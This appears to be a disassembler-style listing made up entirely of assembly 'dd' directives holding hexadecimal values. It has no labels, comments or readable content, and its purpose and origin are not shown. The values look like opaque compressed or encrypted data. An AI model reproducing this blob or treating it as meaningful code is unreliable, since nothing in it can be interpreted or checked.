dd 0C4D118C0h, 0DA8C05C6h, 90DE53E5h, 2D9D7008h, 4174BB00h
dd 7942568Eh, 0EEAF0469h, 0FC44802Ah, 0FB151764h, 7C71DC20h
dd 0DD6F00E7h, 0E698BAD0h, 100D6F1h, 8DB4F2Eh, 1FEEB4AEh
dd 0F2264Eh, 675B18Ah, 2D007B32h, 0F82446D1h, 26EAA950h
dd 2660C79h, 0B2190E97h, 0DB4759E0h, 7506A500h, 6ADF8257h
dd 22F832h, 0C9B729FCh, 7A87E2CAh, 7336FA0Bh, 1D242005h
dd 9AD7CBFh, 80AE7E92h, 2FE64C20h, 5806C9CBh, 8B4F47B2h
dd 24C67016h, 9CB4455Eh, 0C702BFDFh, 0ECB0D5A1h, 9944A840h
dd 0CA08D804h, 0F9C0071Ch, 0A265E1h, 2468CEDAh, 0EA745675h
dd 0DE80109h, 7A9022AEh, 9C2C596Ah, 0B70BC74Fh, 0C79CF03Ah
dd 8B0E2DF3h, 60C16C16h, 1B64D5A8h, 0EFB51E69h, 0F4D38138h
dd 8F129555h, 38F8C448h, 13BC67C9h, 0C11E3FFBh, 0F02EDDB4h
dd 702EF6B7h, 8B0021BAh, 174D759h, 0EB0F30DAh, 0CF910739h
dd 5FFE7671h, 4F1F2800h, 146DDF34h, 0A98000D5h, 0A0279817h
dd 0CF3D4002h, 6F25838Ch, 26DBF190h, 760A648h, 8992D37Eh
dd 0FE2CC86Ch, 3E900C23h, 4080B73Bh, 356FF6C1h, 6A1271F3h
dd 8C055C7h, 72D902E1h, 0E0577C1Bh, 60C4B1D5h, 201E2768h
dd 93630A1Ch, 61B61009h, 0CC331920h, 0E0ECCE1Fh, 0DD0F0DE4h
dd 4A36A616h, 0B787BCF8h, 43E459B2h, 0F820E8B5h, 715DB893h
dd 58993B67h, 0B12DEE04h, 30709050h, 0BE2D69D3h, 98308035h
dd 0F1A32AEBh, 5015CC48h, 3239052h, 944DABEFh, 80F891E6h
dd 32014C3Ah, 5F998473h, 7C4C1B9Eh, 72413039h, 0F0B305E9h
dd 0AFE2A0Eh, 75E2C01Dh, 0B979D343h, 999FC74Ch, 0CF337022h
dd 8E2E8485h, 9DA0150h, 0EBB6B047h, 0D3AA4183h, 7A88C1EAh
dd 0F1718C16h, 6E0033FEh, 9C273E51h, 7CE11h, 3CEBB588h
dd 40B3DF1Ah, 0A05E4D02h, 919FD630h, 0E02C7B3Ch, 0AAB6E1C0h
dd 690003F8h, 0EF9DAB53h, 79BCB163h, 0E3EC2EA2h, 40891CD0h
dd 0A681BB19h, 9418D71Dh, 0EF6818CFh, 25F40091h, 64FC3EB6h
dd 14007AE2h, 0C2FD510Ah, 2C17BA7Fh, 14816A1h, 0EC836234h
dd 100FEB79h, 45BE48E6h, 5081B788h, 86105318h, 80A87C47h
dd 1F006890h, 300232B2h, 0B0445A1h, 70577D41h, 0DD424C22h
dd 8B00A87Ch, 1EAB0BB6h, 0CA1309F8h, 24071CD3h, 0ACB1166h
dd 9D01D872h, 32A3Dh, 6CF63409h, 5EE528h, 514252A8h, 6EBA84E1h
dd 0D1A1E61Ch, 0EEB6043Fh, 0AD0E7Dh, 132C9C03h, 161FF31Eh
dd 0F7CB382Fh, 0E860134Bh, 0FAFDDDBh, 90FC0CA3h, 0B880204Eh
dd 0E48F604Bh, 35000AF8h, 56C43A08h, 18046B29h, 58174D1Ch
dd 4B098FE0h, 80681F6Dh, 2F266EBFh, 7FE800ABh, 90A6C0C1h
dd 0A001EC4h, 0FDB4566Dh, 34F8CFAh, 0DBA064A5h, 19D8D424h
dd 0F43D8BCCh, 192801Ah, 7378423h, 53980121h, 0D87A1310h
dd 774323Fh, 3C850AFFh, 4D34C01Eh, 0C62302h, 0CDFDE8E7h
dd 0CBFB1606h, 700A5500h, 5CC98E5Ah, 5EE490h, 1EF49DB3h
dd 535F569Fh, 0F1008D98h, 9EE95DF0h, 7B2924h, 679137A8h
dd 4AAE692Ch, 120096E2h, 95D28A53h, 48642362h, 907088FEh
dd 1A2A00C5h, 3949E070h, 653AFC56h, 81169E55h, 0A1361BC0h
dd 0FB75708h, 0D638A683h, 0F859C760h, 7700E544h, 94022616h
dd 9D962Eh, 6EB8FCEh, 32F98C61h, 5EF75900h, 2C0E4652h
dd 2E721FFCh, 0C0ED9D6Bh, 0BB127A7Bh, 0B304DCEAh, 0E9905F9Ah
dd 51D478A5h, 64D9007Ch, 0F616BFE4h, 4100B323h, 0DC07C7EDh
dd 24251DC6h, 5C0356h, 915498E9h, 7E04FAF0h, 73A7E782h
dd 90147091h, 0EB04E838h, 0A02C236Ch, 0E816BE70h, 0E840D146h
dd 85A09063h
dd 83182C4Ch, 22A400D4h, 0EDD565D6h, 0B67A8B01h, 2D041D7h
dd 3355970h, 59B16F98h, 678162A0h, 0D5718876h, 0D9C8828Fh
dd 87E2B17h, 0E078850Eh, 7A958A3Ah, 7558EE4Bh, 0F7970080h
dd 57DF838Fh, 0DB018DCEh, 55384CE6h, 5C20697Bh, 0BCD2009Bh
dd 6A8122F0h, 1D00C856h, 3CA82806h, 0FD5460Ch, 77265367h
dd 80CE4B04h, 360BA4A4h, 660D0901h, 9EEBFD2Eh, 459BD0h
dd 990CDE98h, 0A5013BAh, 80B82309h, 36C80046h, 0AD8C5Fh
dd 0B65B4116h, 1AB7975Ch, 0C89CCB00h, 0EAB2E112h, 0A65200F9h
dd 0B17210EFh, 5500213Eh, 0F73A743Fh, 0E1B716DEh, 0AB9BD4h
dd 1C9E2D22h, 27A263ACh, 8013CF4h, 0B68EF585h, 58E4068Dh
dd 112813D3h, 0E224F06Ah, 0A9A7E400h, 0C68A0212h, 0FF62003Fh
dd 52DF5F58h, 0F4505196h, 0E67CEDB4h, 0C607EA00h, 0AC27091Eh
dd 4325003Ah, 5E41558Fh, 61007571h, 4F2EEF5h, 3C13CE92h
dd 3306B2F0h, 0C80CD0C4h, 6A29ED00h, 2B648954h, 1F7EA0Ah
dd 507FB8C7h, 247E76BFh, 33009A18h, 34BA82B1h, 0C98498Ah
dd 0E054ECEh, 2090A021h, 23073800h, 9B1AB1B5h, 69E1132Bh
dd 0BEEC0FE5h, 0C779D940h, 0E201B8D2h, 7685300Eh, 68206C1Fh
dd 57DE0249h, 0FC93E624h, 6130D040h, 4A5AF100h, 697A0F40h
dd 962B0026h, 0B1460985h, 6709EB9Fh, 5C8737D0h, 7680094h
dd 2888F741h, 0A7001571h, 0C431F646h, 24CCC55Eh, 4D08DFEh
dd 8029BC91h, 3CED4E8Ch, 0AB6FB402h, 0E85143E5h, 0ADDF0h
dd 2B688E45h, 391732BBh, 8F509600h, 0CFD312BFh, 659076Ah
dd 0B2A58849h, 0D13FA6h, 4B2043DEh, 2B5DB460h, 8E3018F7h
dd 3CE4B9A0h, 5075441Eh, 7FC813C2h, 7158D887h, 99EA001Ah
dd 0DC19D055h, 3D00C5B6h, 79D752EBh, 0FFDA66Fh, 88F4AAE6h
dd 18805EEBh, 4D108577h, 2F649200h, 4C4AB16Ch, 2DCD0088h
dd 0FE8A367h, 8000C387h, 18CE0129h, 0BB2103h, 8F422439h
dd 70604357h, 77007473h, 6D990FB2h, 52C109Fh, 0BB3C15D6h
dd 8FC4AB02h, 71CE6480h, 0C25C00CAh, 0BCDBE881h, 820460A4h
dd 686721D7h, 9801FCFCh, 0CDC65FF3h, 92DC64FFh, 1EFE411Ch
dd 0C980F140h, 0BF68DC3h, 9D5A6E5h, 0CD78B0C8h, 10DA8C00h
dd 85B034E4h, 0F65B3AB5h, 0B381F309h, 8C258481h, 38006E7Bh
dd 0A098E161h, 71709066h, 7EE0C033h, 27D16E2h, 0FE6DB000h
dd 155ECDBEh, 38EB71ADh, 0B180216Fh, 0D03FE854h, 0B900DEAAh
dd 4D604EF4h, 34AE1A2h, 4CFE523Ah, 0DA8B73A9h, 51AC4FD0h
dd 0C0D00A51h, 0B80097F4h, 0D57B1121h, 7DDA5A23h, 0E400091h
dd 0B4572C85h, 57E8D3Fh, 0DFED100h, 0E8C903F3h, 5C300779h
dd 707B2B20h, 32588AE7h, 0B1DB3D05h, 95848FFBh, 718BEC00h
dd 5AA66124h, 36E08050h, 0E1019C60h, 0FCB77B19h, 0BE709AFAh
dd 0BA15023Dh, 0A735172Ch, 7B00247Eh, 5C74576Bh, 0A8BE688h
dd 6CAD23C6h, 0EA4000ECh, 94A07329h, 59151B00h, 0ABF91456h
dd 0F98008Fh, 58404CF4h, 287C4D08h, 0BB5A2C00h, 50804E10h
dd 65E8E794h, 4DF5000Ch, 56074941h, 0D074661h, 6FE6F7D9h
dd 9FDC21FEh, 5470F6ABh, 17DFE11h, 6C0E1F0Fh, 2C2A4363h
dd 90842730h, 0BBB9090h, 6A3C0CDDh, 0FC835680h, 961D1CDFh
dd 0AA8085A2h, 3110998Eh, 937F0588h, 0CF998h, 41C466A7h
dd 0B60053A5h, 571A2D12h, 725E9B2h, 0F8C128B5h, 0FCDE0161h
dd 4CCC30EDh, 7C9C27B7h, 58BBB2A2h, 0FA4E7130h, 0D55400E5h
dd 0E740FB4Ch, 2F030D5Eh, 8C3E8AF9h, 0A1280094h, 0BEA2B62Eh
dd 0A400D310h, 0C091FB07h, 53FDD7Ch, 0EE0E069Eh, 63AC8114h
dd 54C8F012h, 0CCF1BD03h, 88604CB0h, 1DB74B5h, 4E8311E2h
dd 8E5DAE0Ah, 841E80C6h, 0E8F078EFh, 0CE6E17CBh, 0A94201D8h
dd 20E5D13Ah, 0EC000A5Fh, 610CDAD3h, 0E69F1A4Eh, 0C7788Bh
dd 0BCF6AAEAh, 0BAE7A7B7h, 0A848873Bh, 582EB8F9h, 721C1F39h
dd 91A237C0h, 0BE53FEh, 0D86FE1ACh, 0F88FC3C7h, 0FAF5F0Fh
dd 2FC1FD2Ch, 50B11F19h, 7CFC430h, 0EC59CD6Eh, 25F48186h
dd 0B9D8308Ah, 3351E400h, 0A1027858h, 3FF70063h, 4353A64Dh
dd 840FC564h, 0C5AFDCEDh, 0FC20470Ah, 0F735248h, 5F65CE70h
dd 4597E40h, 9E00E9A4h, 0F1C9AE60h, 1A2916Ah, 0F813039Ch
dd 706BFABEh, 9B30A780h, 4AB926F2h, 0AC0A0701h, 1E9C7FE9h
dd 0B042EAE7h, 132D187Bh, 79BC0E0Bh, 0F8B3049Bh, 5A302C87h
dd 5C9674ACh, 2A089099h, 9807EDF6h, 0FBA03D6Ah, 0ECDA5DAh
dd 46757F5Ch, 0D41E8E60h, 4905BDDh, 55007071h, 6AF43408h
dd 0C09211Ah, 61914380h, 2900A620h, 0BC3A7BBh, 4E32A9D8h
dd 0E23C032Dh, 759B2A73h, 9D56C838h, 0D583E4E8h, 0EBBE1D66h
dd 1481F40Ah, 4C6193F0h, 487150F0h, 0C702E85Eh, 0A5B95844h
dd 0EBF87DC0h, 1C2C0901h, 84327D54h, 708F30h, 0B4121823h
dd 0F15B0F4Ah, 0A611C70Eh, 301ED3C0h, 30F4A141h, 0B3708076h
dd 20665995h, 874B4900h, 0A76B2BCCh, 0E50D6409h, 380D8E9h
dd 26081DD7h, 44983BABh, 5CE6588Ch, 7EF39609h, 23308E6Bh
dd 983BF9BAh, 0B23E0D05h, 0ABD11F1Ch, 85F466DFh, 0A062A34Eh
dd 0BB16D788h, 0BCF489F7h, 9D8A00B0h, 3CA12A2Fh, 7B5D73BCh
dd 0F60E3860h, 0C000064Eh, 65D4C598h, 82E8281Ch, 687413A4h
dd 86AD0024h, 0DBFCBCEBh, 0B8CB48h, 8963CC42h, 9B11B4h
dd 2E1CE00Eh, 6C5EEB5Ch, 810AF4Ch, 17EE6B14h, 0D83C0082h
dd 0EC969E15h, 0ED889F00h, 64520BD7h, 32B84Ah, 5AAD4B62h
dd 67D8C255h, 35E63800h, 2CAB7E49h, 0C8E40013h, 4685B8AAh
dd 152FF6B0h, 5E48283h, 63FC56B7h, 0E1017D72h, 0EC036EF0h
dd 0DC400C21h, 38A4150h, 0A948266Fh, 1F888FE8h, 2100C14Bh
dd 0D1C230C9h, 0C20CA3B7h, 94B985B0h, 0DDB1B0A0h, 0E0F1A73h
dd 4121D37Fh, 0BFB95192h, 4C300AC1h, 73240075h, 8F07F2A9h
dd 1A248B1Eh, 7F0F8CEBh, 0EFBC2E1h, 0E4B10584h, 0C49C1F14h
dd 0E99BED43h, 1180EAB8h, 0A3692C7Dh, 7300C523h, 0A2E52BB4h
dd 0C716FABAh, 0A1126F70h, 0EE5063FFh, 21174059h, 0A6038400h
dd 7AFBD55h, 533175DDh, 9A38C0A8h, 54001B4Ah, 0A794F563h
dd 0BDCF780h, 4F13D2FDh, 25040B00h, 9D00B84Ch, 61C23964h
dd 0DE995h, 0A97EBDB5h, 7069103Bh, 0C76DA100h, 13E23438h
dd 0F82804BCh, 0FC1AC131h, 0CD2C05F4h, 89714B9h, 0A58402h
dd 0BFC072B3h, 0D587CB09h, 1E0075D4h, 6B57D85Dh, 141A9007h
dd 60CE2FA1h, 0BCD211BDh, 2DE95C66h, 6986A400h, 7F08201Ch
dd 17F73A04h, 4916102h, 0BBE3E1EDh, 369080A3h, 88A1019Eh
dd 9A8DADFFh, 7C6C11h, 0C374D224h, 51E83Ah, 3CFE4FD8h
dd 2B1364EDh, 2373FD0Bh, 8034D11Ch, 6A55A2E0h, 77013A5Ah
dd 0CDC37DFBh, 79875DFCh, 0B7F222DCh, 5F4A115Eh, 8C032BA3h
dd 0C1124EE2h, 119E8DC0h, 0CFB1003Eh, 0AF663572h, 0D96AF700h
dd 0E117A37Eh, 798E32B7h, 5EE2BB60h, 46F26078h, 0B773F1Fh
dd 0FF2DC903h, 4C4801E4h, 0BC6F1FE3h, 0DA899F5Eh, 3830F19Dh
dd 1D7D2375h, 32BED96h, 5EBB7194h, 568039D3h, 0AF00163Ah
dd 0FD0FAE28h, 0ECFF5Ch, 6F144AD7h, 2BD2EB70h, 96B0426h
dd 477BF900h, 765802CDh, 4C4E00DBh, 530C5E5Fh, 7101BA70h
dd 65B57636h, 2AF4986Dh, 21961F22h, 37264EFCh, 307A540h
dd 0F6007AF9h, 385BFEB0h, 2D52FD77h, 3B783C41h, 2156CF00h
dd 0E41ACB7Dh, 6CC003DFh
dd 58B8C8CEh, 6FC4D9C0h, 0A828D302h, 484E4253h, 11B26A0h
dd 90BF453Eh, 0D0761840h, 529AC014h, 8E3D610Ah, 25801824h
dd 0C02C4135h, 459013h, 93F1BF3Bh, 0E95EF974h, 65AEF02h
dd 0C86F49B7h, 681EEF0h, 0D1B3BC2Ah, 50210B9h, 0F7563318h
dd 0A4DB2559h, 0FF5522ACh, 735E20C0h, 1B378000h, 0C4D7E95Ch
dd 0A31A0EFDh, 77A05D4Fh, 47931D82h, 2900DBEEh, 6F58161Bh
dd 0A863E01Fh, 5A68E8h, 53DA2625h, 959D6B10h, 55825400h
dd 2E6ED8BCh, 65D3F79h, 0E26F0C00h, 2BFFD6FCh, 0F048DA75h
dd 6EA80546h, 95031BBAh, 0E856E370h, 7C312C77h, 23C81816h
dd 265BB1F8h, 0AA58A000h, 8283AF37h, 23DD074Bh, 665377F2h
dd 4A18288Fh, 49F91373h, 0F8464443h, 724C8C00h, 47E1BD42h
dd 153BFEAAh, 940723B8h, 0C0378E1Dh, 145D8CCFh, 0E017943Fh
dd 100039DEh, 0B7B46CDBh, 1EC3009Ch, 33B03A03h, 571DAC38h
dd 53184F19h, 194DF08h, 0C2156F87h, 0D01EB48Ch, 0CC03BB79h
dd 11B290B8h, 1B67E7C4h, 0FBE38C0h, 0C18D3EB7h, 7839907Ah
dd 107C60EDh, 0CC898BC7h, 74918300h, 5C237D24h, 0BF75FCh
dd 44B91FB0h, 86C30F6Fh, 0B7280DE4h, 0C907CE8Ch, 0C61BBF88h
dd 0C1088F86h, 46C71A30h, 0D1C1F1B2h, 8DE0C26Fh, 740517BDh
dd 7521BE92h, 47A6424h, 339583EFh, 4810002Ah, 6F91D4A5h
dd 16175538h, 58186C54h, 7AECC29h, 0B035AADBh, 982DA13Ch
dd 87C9F93Dh, 0DCA6EF21h, 3385B910h, 0B0FE0FD1h, 0B4E02CC8h
dd 5A29E4A1h, 0E93558C0h, 0CB5C75h, 0F0887A59h, 315E1D77h
dd 8818AF31h, 0B9ECADDCh, 0D21F0072h, 6E4B1569h, 281853B2h
dd 0AD71F4D3h, 6F1E3010h, 0F9D4A648h, 0BB608C61h, 0E18C22E1h
dd 50E95402h, 3AB83600h, 2834AB20h, 49C562D5h, 80AF3D0Ch
dd 0C61FB100h, 6E00E06Bh, 3B0B8543h, 0B98C2Dh, 78E14A97h
dd 203D0DB0h, 0D78D31C0h, 680DB06h, 69D9377Ah, 1152907Bh
dd 0B8A87B6Ch, 0D402E14Bh, 553ACD35h, 0A44080ADh, 30A7Fh
dd 9EDA70C9h, 0ACB978B5h, 526001F8h, 17056FC1h, 0F8D83372h
dd 6130D058h, 0FD902163h, 38751816h, 5D459BAh, 577CEE00h
dd 6D3D3E32h, 36F31DA6h, 0EC1B8283h, 988366E9h, 0A1047995h
dd 94A518BDh, 7730CA4h, 0DD0A1277h, 0D4B0618Ch, 6C08985Ch
dd 386F9921h, 20067D12h, 199F89FBh, 50D15318h, 31D699h
dd 0B2719307h, 0A2C4D95Eh, 7428CFF8h, 0DE0CF0CCh, 2091D531h
dd 0B93801BDh, 48AF53ABh, 750022C1h, 488D4944h, 18064C57h
dd 0C070F1E4h, 0E6112F0Ah, 1A01BC58h, 98BBB9C3h, 4E83898Eh
dd 6311E983h, 0FCF82078h, 1D1D3B22h, 416FA739h, 57D093A1h
dd 3609989Ah, 9F5921h, 0CC582D6Fh, 6B2F3E73h, 55B9AE03h
dd 1865355Eh, 31263CF1h, 0B3007CC5h, 27D09A5Ah, 0A2F15B8h
dd 6101F7FBh, 0F9C28088h, 0A833F2B4h, 916C2C00h, 4CFC2FD6h
dd 0D58400C6h, 0A5DD0EECh, 80A1C0BCh, 4F398F07h, 691E8CBBh
dd 0BDE414A2h, 37018081h, 95773CA8h, 1091805Fh, 0B422C4AAh
dd 1EBE2D7h, 351CA965h, 485F85D9h, 48CFE84h, 0A1AE6FA9h
dd 272E62A3h, 26FD05Bh, 32305E05h, 0A3B3695Dh, 0C156FADCh
dd 0D6B5A588h, 60B1A88Bh, 286A870h, 0D8761709h, 167818h
dd 0EA170194h, 39596150h, 8D56F8A0h, 4CD07324h, 7280A011h
dd 64DD0512h, 946A448Ch, 950E12EAh, 88D84777h, 0DEE98367h
dd 88B8D7BBh, 5006D0Eh, 0E3FD463Eh, 0E097CC53h, 0BC471B9Ah
dd 0ED831D7h, 0BE1459B5h, 8040A418h, 0DD091276h, 0C08C9184h
dd 1126E98h, 0F91FA601h, 5211C3A3h, 8C3DF094h, 40CFD79h
dd 0D8711704h, 663277F0h, 16FC8F20h, 0B86706A2h, 19580211h
dd 0C17CD002h, 40A49D54h, 0EA3C611Ch, 8000996Bh, 0AB62EA46h
dd 1000637Dh, 0E1364309h, 6014CD2h, 0D4BB8028h, 230E923h
dd 5C355955h, 0ED1200A0h, 9F70AE78h, 230A5FCh, 49A2215Dh
dd 487113h, 0D1817C1Ch, 7D06DC34h, 4A631A00h, 0F1DF12AFh
dd 253700B4h, 0E404A97Ah, 3244F82h, 0AE60383Ch, 46A1B36Fh
dd 2D22CBh, 3F6FA660h, 8675E44Bh, 94007492h, 11304891h
dd 26CEC8A2h, 8B01959h, 14281AA6h, 871A146h, 6CDD0612h
dd 95436DC4h, 80E4126Bh, 88EC40C7h, 0B1AF0F3Dh, 0F7A22163h
dd 3C6F1E0h, 0ECDC89FDh, 5BF0CCB5h, 0D0023E0h, 0FE9F79A4h
dd 185E6BA3h, 870ADDDh, 0A548DE11h, 0A7720585h, 0B4223CFDh
dd 162D6141h, 0AE34D0h, 0DA85D68h, 95731CDDh, 53795A60h
dd 2B2B576h, 41D8D1B9h, 884125CDh, 0A4C0BCDEh, 465E48BDh
dd 4CC00267h, 48BC38AAh, 62EC10h, 3EC8DB05h, 0EFA29F27h
dd 2FD3E401h, 0FC101D90h, 0A641F020h, 87FB0388h, 9A3C79F0h
dd 30CD71F9h, 0FF0AC857h, 0F40DCBB8h, 0AD800291h, 0C3A1B26Fh
dd 5F34448Ch, 9F6FA500h, 498C3297h, 0BA2A07DAh, 0D9D4A34Ch
dd 0DBBB70A2h, 7905B064h, 3C7531D8h, 749D8847h, 0B09480F9h
dd 261DD939h, 76F4CEA2h, 0E84E2F46h, 24A53CA2h, 0AA1CD4EAh
dd 170B8121h, 0CE28D878h, 3960016h, 9A7F7317h, 418A1BAh
dd 0DDC172E1h, 340E8919h, 44874104h, 0BF906065h, 58DE12D8h
dd 42010167h, 6453B104h, 0F4885EE4h, 0F82000B3h, 0EA5729FBh
dd 9CA3D97Dh, 18B4889Dh, 8120A249h, 0DD071274h, 106831D2h
dd 1126C96h, 471158C6h, 32A16305h, 61D80518h, 0C8452DF1h
dd 3481C788h, 9C005AFDh, 0CC91C815h, 0EF1867D1h, 627B307h
dd 0A04A3DA7h, 0EA9E8EBCh, 0D007C07Ah, 1F00913h, 0B07981B4h
dd 50A46342h, 4771314Ch, 0B094D480h, 0BC7CA824h, 99A02E62h
dd 0B2388CC0h, 0EE025019h, 0E73FFF8Bh, 66EC4268h, 69A800ECh
dd 83AE2EE9h, 6B0985E1h, 8305097Ch, 76095A4h, 10B707B9h
dd 170A400Eh, 0EE1389F4h, 0A41D9CD8h, 1D77B009h, 8030114Ch
dd 6B757694h, 0D494A0DFh, 44AD24DCh, 89F937Ch, 5C442AE4h
dd 5DC67940h, 4000F129h, 0E98FC34Bh, 1680B4CCh, 3A3D5835h
dd 6A23D0h, 89E9E6D4h, 3605CBC9h, 0B13878E5h, 207CA04Fh
dd 3C2A4C14h, 8491C01Fh, 0E395DFC2h, 29CFEDB8h, 8715810Dh
dd 0C2CC9936h, 78271470h, 7902AF8Ah, 6C5931DCh, 48E55442h
dd 77606BE4h, 0AB0257C6h, 84B5DD60h, 989489CBh, 0E3638Ch
dd 2AC13642h, 4BC9E25h, 73004498h, 37A27A51h, 905D95D9h
dd 5E711360h, 62CC212Dh, 0AD9BC9Dh, 0E824ABB0h, 6F3C0108h
dd 0A1B16FE1h, 0B02828BBh, 6FA45Eh, 1038A10Dh, 33175F0Fh
dd 0D840BA02h, 402AD969h, 9182E958h, 182D7914h, 203C98C2h
dd 0AF01688Dh, 16733CC7h, 0E42C6A54h, 0A8DBACC0h, 3D43A035h
dd 0ED02C022h, 0BBBDDCA4h, 43851E0h, 165A1D4h, 73AE1139h
dd 0CC19047h, 18BB646Dh, 579F638Ah, 345E8490h, 2014A556h
dd 0C52439DCh, 93D1C82Bh, 234C3A15h, 0C53D0069h, 0B0F3205Dh
dd 0D6148A75h, 6FCC6B4h, 24DCBBDFh, 0D92824C9h, 549B4FF8h
dd 0FC69192Ch, 65006211h, 0D040E0B3h, 4200E6A6h, 0F1A6661h
dd 6038D73Dh, 0B09B41B7h, 0C901F9DCh, 0A0FD6152h, 3CE86ED2h
dd 1C993Dh, 7DDF8A77h, 11F03AFCh, 4E148BE6h, 24E0A45Ch
dd 4674207Bh, 0E68A0E35h, 49EEC086h, 0A3C26CEh, 84D5DC4Bh
dd 62FC02C4h, 82959A2h, 4C2CC064h, 0C8850835h, 0F0B23894h
dd 0D331C2F2h, 68289D31h, 0FA3E009Eh, 0F655E82Ch, 8DA78B0Eh
dd 0ED49601Dh, 17E13F7h, 549DE171h, 631F75FFh, 3067A2ACh
dd 0E513F75Dh, 0EC040F4Bh
dd 7C023759h, 9458FCB6h, 0BE7D4E12h, 708814CBh, 45F360C7h
dd 1813D0B4h, 0E38025D8h, 18A5D831h, 70F4B006h, 0C004B9D8h
dd 0AA16FE91h, 54474A04h, 0F4E4DE28h, 0A1FF05A5h, 38239ECh
dd 1A4E2DD4h, 281320E6h, 3450D5D1h, 17023CCh, 35AEDBB2h
dd 88C618D0h, 0DB00AAF3h, 13B5E561h, 24C4D7CCh, 4174D627h
dd 24E61135h, 0C13A6D8h, 0F0D28091h, 0DBAB3069h, 9835A708h
dd 0A3EC583Dh, 854ADC00h, 2573285Ch, 0F7BC0729h, 0D2434BDAh
dd 59057835h, 6F23C43Ah, 0E9C5AC38h, 0CB497F00h, 943D7080h
dd 71DD809Ch, 0AF927D9Dh, 0F404C47Eh, 251131D7h, 2A1028DAh
dd 305E13ACh, 0CDDCE020h, 9CC559F8h, 798204Bh, 4A3D8C88h
dd 0AA4C023Ch, 0C8E43DB3h, 32DAF94h, 0B159BF14h, 0AAC679CFh
dd 0DC93016h, 0C8CBC825h, 1DC06EC8h, 3489908h, 92854457h
dd 0E584B3FCh, 6FE0C388h, 7100E156h, 0FC25623Ch, 7ED744Ch
dd 8BAF089Bh, 8707D4D5h, 814AF4F0h, 0E0D3B2ECh, 682C2BC4h
dd 0D16FF4B0h, 774E0296h, 0A86720D8h, 17029500h, 0B7976E1h
dd 374EC372h, 0D044A402h, 1908C00Ah, 0A748002Eh, 3BA6B1D4h
dd 18F72892h, 0ACDB05B0h, 8B3CC035h, 0A8F10734h, 0DD30CCDBh
dd 91C838CDh, 1D4909E4h, 28777C80h, 31D2BFD3h, 2D00D037h
dd 0C24DEDh, 0CDC3782Fh, 0F9332C68h, 0C8DF572Eh, 67808665h
dd 0E831BFFh, 0A21FBAD0h, 82A3D664h, 2C84BBB8h, 0DA0E405Eh
dd 1C887EE4h, 40BF2031h, 0F135DF9Eh, 0A090800Dh, 6087900h
dd 0BBC38AB1h, 790B1DAh, 48EDE4A4h, 82FF0D04h, 2FC8ECCBh
dd 958CCBC0h, 0D5E116A8h, 3A8084E8h, 16623E0h, 888FC1E0h
dd 0BC246CC6h, 0C90E8C6Bh, 80201311h, 38CF7901h, 60D098D0h
dd 5E29B141h, 0BC9C6A33h, 416E467Ch, 0DE934090h, 0B37BCB64h
dd 0A4215C60h, 0B774E03h, 0F6B5E1DDh, 61F53440h, 22630C80h
dd 68964FA0h, 54A70B40h, 0B6DD3A25h, 0DADFD580h, 8A0630C3h
dd 0D91D000h, 37AF68B5h, 97F042Ah, 0A179D402h, 98C4DACCh
dd 8694DE14h, 0BCBF1CF7h, 6317F5C2h, 4C2C5A9Eh, 36273C58h
dd 6D91C835h, 78BA7B80h, 0C1CD09Eh, 1F9DF06h, 5C6BB508h
dd 0E460B055h, 78614399h, 0E8627CAAh, 7A73C71h, 652241B4h
dd 3EB4F05Fh, 0A6C021F1h, 6B91D493h, 0A9DBAD80h, 448CA835h
dd 0A501EEC3h, 667858DCh, 0C82238C8h, 3681DB00h, 0AB5612Ah
dd 64800B00h, 762D8525h, 0DEEC09E5h, 0E80CD15Dh, 0BE4898A2h
dd 80414B68h, 4A5149D8h, 0B3B3A443h, 10F0D50Ch, 0DC0A00BBh
dd 1B4D57B0h, 596FE1ECh, 82536918h, 0F0762538h, 91D9100Ch
dd 598E0071h, 4A613DFh, 3ADC0E2Ah, 7062AB55h, 9CC12DFCh
dd 5F9C5077h, 69316223h, 9F4588DAh, 18C01C3Ch, 3D97AF1Fh
dd 0DF1743FCh, 5088D8F7h, 5C3EED7h, 0C4208DB0h, 0FF380F8h
dd 153FC95Ah, 6C4E89ADh, 1BF544Bh, 0D9877DDAh, 0B087CF82h
dd 0A3213610h, 0CF9A3950h, 25125700h, 2C7DB504h, 1F58788Ch
dd 49F5A89h, 80980BD5h, 97C4E8FAh, 82E18701h, 248EA37Fh
dd 11026CCh, 0DA163720h, 0F7B9BC0Fh, 0E98F06C8h, 0B1034C98h
dd 52B0159Bh, 6119FF9Fh, 4E000980h, 0A30B500Bh, 426C31D4h
dd 0CD9ACh, 4C8C2015h, 452ED41Dh, 6F441469h, 0ADDBB160h
dd 3CC83510h, 0DBA9F2B0h, 43A0D403h, 987F9644h, 27835CF4h
dd 54381912h, 6B005B95h, 704CDB89h, 45EE3D8h, 42B6CDFDh
dd 0C82CCBBEh, 0AA54C070h, 0D9003339h, 9B8B34C2h, 0C05B0256h
dd 0EEA55F71h, 5805464Eh, 42158A45h, 59B5AE02h, 5C78F23Dh
dd 8338F455h, 0F7B8CD80h, 3458ABAFh, 324F7D03h, 0E012C672h
dd 94D6294Eh, 0D0959790h, 5F81F108h, 0CA333700h, 0FD7FA74Ah
dd 15E71EEDh, 0B44E80E9h, 7CAE2FD9h, 4974A63Ah, 0DA313F8Ch
dd 281F6C12h, 12780363h, 0F2D4DD0Bh, 709AC098h, 7EB4A212h
dd 636D28A1h, 8DD09DCh, 0B450510Eh, 0E8F8E55Ch, 0A77F8CC6h
dd 0E40F5598h, 25A1C5DEh, 0F4D77DE1h, 0B784B621h, 9110C0A6h
dd 1902843Dh, 88908B24h, 6FC2C369h, 8848AFA2h, 3C30DA90h
dd 81A1612Bh, 1C2D3A73h, 1BEBE080h, 0D3EA59D2h, 6BD1C71Ch
dd 18C4B0A5h, 0EFA900F0h, 35FCE865h, 73171E94h, 58906980h
dd 0CBAEFDA4h, 30043C86h, 345E445Bh, 0AD3E20A2h, 2092B9A0h
dd 14584139h, 0CDC4391h, 2190AE54h, 0E2BB199Fh, 7279811Ah
dd 39D806C8h, 4B3032B1h, 5E8C21E0h, 7C344035h, 0C95CFCD6h
dd 41B48088h, 958191ECh, 4F31A0A2h, 0AF544929h, 612DE1F0h
dd 0DCA4186Bh, 14342CB1h, 29B0DD0Dh, 6FD1C4C8h, 0EE780E18h
dd 4C0FDB01h, 0B42EC089h, 0BE250D20h, 8B503FCh, 913D7F66h
dd 1C455B5Eh, 1CF59A62h, 2C24B5EDh, 6DCC0077h, 4D390EDAh
dd 1A250614h, 4F08689Eh, 0CBD91373h, 49C818C9h, 9395E053h
dd 2F57C49Ch, 1C52338h, 0FCFAFE2Bh, 0A163E8A9h, 4754A095h
